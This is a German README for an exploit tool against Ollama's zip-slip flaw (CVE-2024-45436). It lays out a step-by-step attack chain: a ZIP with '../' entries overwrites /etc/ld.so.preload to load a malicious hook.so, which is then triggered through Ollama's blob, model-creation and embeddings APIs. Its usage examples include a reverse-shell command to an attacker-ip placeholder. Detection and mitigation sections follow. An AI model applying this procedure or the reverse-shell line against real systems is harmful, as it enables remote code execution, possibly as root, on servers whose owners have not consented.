Ollama CVE-2024-45436 Exploit

Eine saubere und effiziente Exploit-Implementierung für die Ollama ZIP-Traversal-Schwachstelle (CVE-2024-45436). 中文文档：README_CN.md

Schwachstellenbeschreibung

CVE-2024-45436 ist eine Path-Traversal-Schwachstelle (auch bekannt als „Zip Slip“) in Ollama-Versionen vor 0.1.47. Die Schwachstelle erlaubt es Angreifern, durch die Ausnutzung einer unzureichenden Validierung von Pfaden während des Entpackens von ZIP-Dateien, Dateien an beliebigen Stellen im Dateisystem zu schreiben.

Der Fehler liegt in der Funktion extractFromZipFile in Ollamas Datei model.go, die Modelldateien extrahiert. Wenn eine ZIP-Datei Einträge mit Pfaden enthält, die Directory-Traversal-Sequenzen (../) beinhalten, extrahiert Ollama diese Dateien außerhalb des vorgesehenen Verzeichnisses, was einem Angreifer potenziell das Überschreiben kritischer Systemdateien ermöglicht.

Exploit-Mechanismus

Dieser Exploit nutzt die Schwachstelle über folgenden Ansatz aus:

1. Erstellen einer bösartigen Shared-Object-Datei (hook.so), die Code zur Ausführung beliebiger Befehle enthält
2. Verpacken derselben in eine speziell präparierte ZIP-Datei mit Path-Traversal-Einträgen:
   • ../../../../../../../../../../etc/ld.so.preload – Wird verwendet, um benutzerdefinierte Shared Objects vorzuladen
   • ../../../../../../../../../../tmp/hook.so – Das bösartige Shared Object selbst
3. Hochladen der ZIP-Datei über Ollamas Blob-API
4. Erstellen eines Modells, das auf den hochgeladenen Blob verweist
5. Auslösen der Ausführung durch Anfordern von Embeddings von Ollama

Bei erfolgreicher Ausführung läuft der Payload mit denselben Berechtigungen wie der Ollama-Dienst, was potenziell eine Remote-Code-Ausführung als root ermöglicht.

Voraussetzungen

• Python 3.6+
• Erforderliche Python-Pakete:
  • requests
  • argparse
• GCC (zum Kompilieren des Shared Objects)
• Eine verwundbare Ollama-Instanz (vor 0.1.47), die unter Linux läuft

Verwendung

python exp.py <target_url> <command>

Argumente

• target_url: Die URL der verwundbaren Ollama-Instanz (z. B. http://example.com:11434)
• command: Der auf dem Zielsystem auszuführende Befehl

Optionen

• --no-cleanup: Temporäre Dateien nach der Ausnutzung nicht entfernen (nützlich für Debugging)

Beispiele

Einfache Verwendung:

python exp.py http://target-server:11434 "id > /tmp/pwned"

Reverse Shell:

python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"

Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die unbefugte Nutzung gegen Systeme ohne ausdrückliche Erlaubnis ist illegal und unethisch. Der Autor übernimmt keine Verantwortung für den Missbrauch dieser Software.

Erkennung

Organisationen können überprüfen, ob sie verwundbar sind, indem sie:

1. Ihre Ollama-Version mit /api/version überprüfen
2. Nach unerwarteten Dateien in /etc/ld.so.preload oder /tmp/hook.so suchen
3. Auf ungewöhnliche Aktivitäten bei der Modellerstellung achten

Gegenmaßnahmen

• Ollama auf Version 0.1.47 oder höher aktualisieren
• Falls ein sofortiges Update nicht möglich ist, den Netzwerkzugriff auf Ollama-API-Endpunkte einschränken
• Ollama mit minimalen Berechtigungen ausführen, nicht als root

Technische Details

Die Schwachstelle nutzt eine unzureichende Pfadvalidierung im ZIP-Datei-Extraktionsprozess von Ollama aus. Wenn ein Modell über die API geladen wird, extrahiert die Anwendung Dateien aus einem ZIP-Archiv, ohne die Dateipfade ordnungsgemäß zu bereinigen, was Directory-Traversal-Angriffe ermöglicht.

Die Datei ld.so.preload wird unter Linux verwendet, um Shared Libraries anzugeben, die vor allen anderen geladen werden sollen. Durch das Schreiben in diese Datei kann der Angreifer sicherstellen, dass seine bösartige Bibliothek von jedem neuen Prozess geladen wird, was effektiv die Programmausführung kapert.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.